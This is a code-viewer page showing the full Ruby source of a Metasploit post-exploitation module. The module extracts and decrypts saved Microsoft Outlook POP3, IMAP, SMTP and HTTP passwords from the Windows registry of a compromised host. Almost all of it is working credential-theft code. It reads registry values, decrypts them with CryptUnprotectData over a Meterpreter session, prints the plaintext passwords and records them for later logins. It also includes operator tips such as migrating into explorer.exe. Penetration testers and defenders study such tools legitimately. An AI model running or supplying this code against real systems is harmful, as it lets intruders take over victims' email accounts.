Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/outlook.rb
Views: 11704
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Post::Windows::Priv10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',17'Description' => %q{18This module extracts and decrypts saved Microsoft19Outlook (versions 2002-2010) passwords from the Windows20Registry for POP3/IMAP/SMTP/HTTP accounts.21In order for decryption to be successful, this module must be22executed under the same privileges as the user which originally23encrypted the password.24},25'License' => MSF_LICENSE,26'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter' ],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_railgun_api33stdapi_sys_config_getuid34stdapi_sys_process_attach35stdapi_sys_process_get_processes36stdapi_sys_process_getpid37stdapi_sys_process_memory_allocate38stdapi_sys_process_memory_read39stdapi_sys_process_memory_write40]41}42}43)44)45end4647def prepare_railgun48if !session.railgun.get_dll('crypt32')49session.railgun.add_dll('crypt32')50end51end5253def decrypt_password(data)54pid = client.sys.process.getpid55process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)5657mem = process.memory.allocate(128)58process.memory.write(mem, data)5960if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'61addr = [mem].pack('V')62len = [data.length].pack('V')63ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)64len, addr = ret['pDataOut'].unpack('V2')65else66addr = [mem].pack('Q')67len = [data.length].pack('Q')68ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)69len, addr = ret['pDataOut'].unpack('Q2')70end7172return '' if len == 07374decrypted_pw = process.memory.read(addr, len)75return decrypted_pw76end7778# Just a wrapper to avoid copy pasta and long lines79def get_valdata(key, name)80registry_getvaldata("#{@key_base}\\#{key}", name)81end8283def get_registry(outlook_ver)84# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.85outlook_exists = 086saved_accounts = 08788# Check for registry key based on Outlook version pulled from registry89@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"90next_account_id = get_valdata('', 'NextAccountID')9192# Default to original registry key for module93if next_account_id.nil?94@key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'95next_account_id = get_valdata('', 'NextAccountID')96end9798if !next_account_id.nil?99# Microsoft Outlook not found100101print_status 'Microsoft Outlook found in Registry...'102outlook_exists = 1103registry_enumkeys(@key_base).each do |k|104display_name = get_valdata(k, 'Display Name')105106if display_name.nil?107# Microsoft Outlook found, but no account data saved in this location108next109end110111# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.112saved_accounts = 1113got_user_pw = 0114115displayname = get_valdata(k, 'Display Name')116email = get_valdata(k, 'Email')117pop3_server = get_valdata(k, 'POP3 Server')118smtp_server = get_valdata(k, 'SMTP Server')119http_server_url = get_valdata(k, 'HTTP Server URL')120imap_server = get_valdata(k, 'IMAP Server')121smtp_use_auth = get_valdata(k, 'SMTP Use Auth')122if !smtp_use_auth.nil?123smtp_user = get_valdata(k, 'SMTP User')124smtp_password = get_valdata(k, 'SMTP Password')125smtp_auth_method = get_valdata(k, 'SMTP Auth Method')126end127128if !pop3_server.nil?129type = 'POP3'130elsif !http_server_url.nil?131type = 'HTTP'132elsif !imap_server.nil?133type = 'IMAP'134else135type = 'UNKNOWN'136end137138# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.139print_good('Account Found:')140print_status(" Type: #{type}")141print_status(" User Display Name: #{displayname}")142print_status(" User Email Address: #{email}")143144if type == 'POP3'145pop3_pw = get_valdata(k, 'POP3 Password')146pop3_user = get_valdata(k, 'POP3 User')147pop3_use_spa = get_valdata(k, 'POP3 Use SPA')148smtp_port = get_valdata(k, 'SMTP Port')149150print_status(" User Name: #{pop3_user}")151if pop3_pw.nil?152print_status(' User Password: <not stored>')153else154pop3_pw.slice!(0, 1)155pass = decrypt_password(pop3_pw)156print_status(" User Password: #{pass}")157# Prepare data for creds158got_user_pw = 1159host = pop3_server160user = pop3_user161end162163if !pop3_use_spa.nil? # Account for SPA (NTLM auth)164print_status(' Secure Password Authentication (SPA): Enabled')165end166167print_status(" Incoming Mail Server (POP3): #{pop3_server}")168169pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')170if pop3_use_ssl.nil?171print_status(' POP3 Use SSL: No')172else173print_status(' POP3 Use SSL: Yes')174end175176pop3_port = get_valdata(k, 'POP3 Port')177if pop3_port.nil?178print_status(' POP3 Port: 110')179portnum = 110180else181print_status(" POP3 Port: #{pop3_port}")182portnum = pop3_port183end184185if smtp_use_auth.nil? # Account for SMTP servers requiring authentication186print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")187else188print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")189# Check if smtp_auth_method is null. If so, the inbound credentials are utilized190if smtp_auth_method.nil?191smtp_user = pop3_user192smtp_decrypted_password = pass193else194smtp_password.slice!(0, 1)195smtp_decrypted_password = decrypt_password(smtp_password)196end197print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")198print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")199end200201smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')202if smtp_use_ssl.nil?203print_status(' SMTP Use SSL: No')204else205print_status(' SMTP Use SSL: Yes')206end207208if smtp_port.nil?209print_status(' SMTP Port: 25')210smtp_port = 25211else212print_status(" SMTP Port: #{smtp_port}")213end214215elsif type == 'HTTP'216http_password = get_valdata(k, 'HTTP Password')217http_user = get_valdata(k, 'HTTP User')218http_use_spa = get_valdata(k, 'HTTP Use SPA')219220print_status(" User Name: #{http_user}")221if http_password.nil?222print_status(' User Password: <not stored>')223else224http_password.slice!(0, 1)225pass = decrypt_password(http_password)226print_status(" User Password: #{pass}")227got_user_pw = 1228host = http_server_url229user = http_user230231# Detect 80 or 443 for creds232http_server_url.downcase!233if http_server_url.include? "h\x00t\x00t\x00p\x00s"234portnum = 443235else236portnum = 80237end238end239240if !http_use_spa.nil? # Account for SPA (NTLM auth)241print_status(' Secure Password Authentication (SPA): Enabled')242end243244print_status(" HTTP Server URL: #{http_server_url}")245246elsif type == 'IMAP'247imap_user = get_valdata(k, 'IMAP User')248imap_use_spa = get_valdata(k, 'IMAP Use SPA')249imap_password = get_valdata(k, 'IMAP Password')250smtp_port = get_valdata(k, 'SMTP Port')251252print_status(" User Name: #{imap_user}")253if imap_password.nil?254print_status(' User Password: <not stored>')255else256imap_password.slice!(0, 1)257pass = decrypt_password(imap_password)258print_status(" User Password: #{pass}")259got_user_pw = 1260host = imap_server261user = imap_user262end263264if !imap_use_spa.nil? # Account for SPA (NTLM auth)265print_status(' Secure Password Authentication (SPA): Enabled')266end267268print_status(" Incoming Mail Server (IMAP): #{imap_server}")269270imap_use_ssl = get_valdata(k, 'IMAP Use SSL')271if imap_use_ssl.nil?272print_status(' IMAP Use SSL: No')273else274print_status(' IMAP Use SSL: Yes')275end276277imap_port = get_valdata(k, 'IMAP Port')278if imap_port.nil?279print_status(' IMAP Port: 143')280portnum = 143281else282print_status(" IMAP Port: #{imap_port}")283portnum = imap_port284end285286if smtp_use_auth.nil? # Account for SMTP servers requiring authentication287print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")288else289print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")290# Check if smtp_auth_method is null. If so, the inbound credentials are utilized291if smtp_auth_method.nil?292smtp_user = imap_user293smtp_decrypted_password = pass294else295smtp_password.slice!(0, 1)296smtp_decrypted_password = decrypt_password(smtp_password)297end298print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")299print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")300end301302smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')303if smtp_use_ssl.nil?304print_status(' SMTP Use SSL: No')305else306print_status(' SMTP Use SSL: Yes')307end308309if smtp_port.nil?310print_status(' SMTP Port: 25')311smtp_port = 25312else313print_status(" SMTP Port: #{smtp_port}")314end315316end317318if got_user_pw == 1319service_data = {320address: Rex::Socket.getaddress(host),321port: portnum,322protocol: 'tcp',323service_name: type,324workspace_id: myworkspace_id325}326327credential_data = {328origin_type: :session,329session_id: session_db_id,330post_reference_name: refname,331username: user,332private_data: pass,333private_type: :password334}335336credential_core = create_credential(credential_data.merge(service_data))337338login_data = {339core: credential_core,340access_level: 'User',341status: Metasploit::Model::Login::Status::UNTRIED342}343344create_credential_login(login_data.merge(service_data))345end346347if !smtp_use_auth.nil?348service_data = {349address: Rex::Socket.getaddress(smtp_server),350port: smtp_port,351protocol: 'tcp',352service_name: 'smtp',353workspace_id: myworkspace_id354}355356credential_data = {357origin_type: :session,358session_id: session_db_id,359post_reference_name: refname,360username: smtp_user,361private_data: smtp_decrypted_password,362private_type: :password363}364365credential_core = create_credential(credential_data.merge(service_data))366367login_data = {368core: credential_core,369access_level: 'User',370status: Metasploit::Model::Login::Status::UNTRIED371}372373create_credential_login(login_data.merge(service_data))374end375376print_status('')377end378end379380if outlook_exists == 0381print_status('Microsoft Outlook not installed or Exchange accounts are being used.')382elsif saved_accounts == 0383print_status('Microsoft Outlook installed however no accounts stored in Registry.')384end385end386387def outlook_version388val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')389if !val.nil?390idx = val.rindex('.')391val[idx + 1..]392end393end394395def run396# Get Outlook version from registry397outlook_ver = outlook_version398fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?399400print_status("Microsoft Outlook Version: #{outlook_ver}")401uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.402# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.403404if is_system?405print_error("This module is running under #{uid}.")406print_error('Automatic decryption will not be possible.')407print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')408else409print_status('Searching for Microsoft Outlook in Registry...')410prepare_railgun411get_registry(outlook_ver)412end413414print_status('Complete')415end416end417418419